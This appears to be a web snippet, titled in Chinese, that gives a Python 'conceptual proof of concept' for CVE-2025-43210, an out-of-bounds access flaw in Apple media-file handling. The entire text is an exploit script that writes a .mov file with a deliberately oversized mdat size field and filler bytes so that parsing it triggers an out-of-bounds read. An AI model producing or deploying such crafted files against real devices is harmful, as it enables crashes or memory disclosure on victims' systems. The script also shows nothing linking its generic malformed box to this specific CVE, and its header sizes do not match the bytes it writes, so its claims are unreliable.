CVE-2025-43210 Apple媒体文件越界访问漏洞

import struct # Conceptual PoC for CVE-2025-43210: Out-of-bounds access in media file processing # This script generates a file with a malformed header to trigger the vulnerability. def create_malicious_file(filename): with open(filename, 'wb') as f: # Write a standard container header (e.g., ftyp for MP4) f.write(b'\x00\x00\x00\x20ftypmp42') # Write a malicious data box (mdat) with an invalid size field # This size is intentionally set to be larger than the provided data # to potentially trigger an OOB read during parsing. malicious_size = 0x41414141 # Corrupt size f.write(struct.pack('>I', malicious_size)) f.write(b'mdat') # Some payload data f.write(b'A' * 0x100) print(f"[+] Generated malicious file: {filename}") if __name__ == "__main__": create_malicious_file("cve_2025_43210_poc.mov")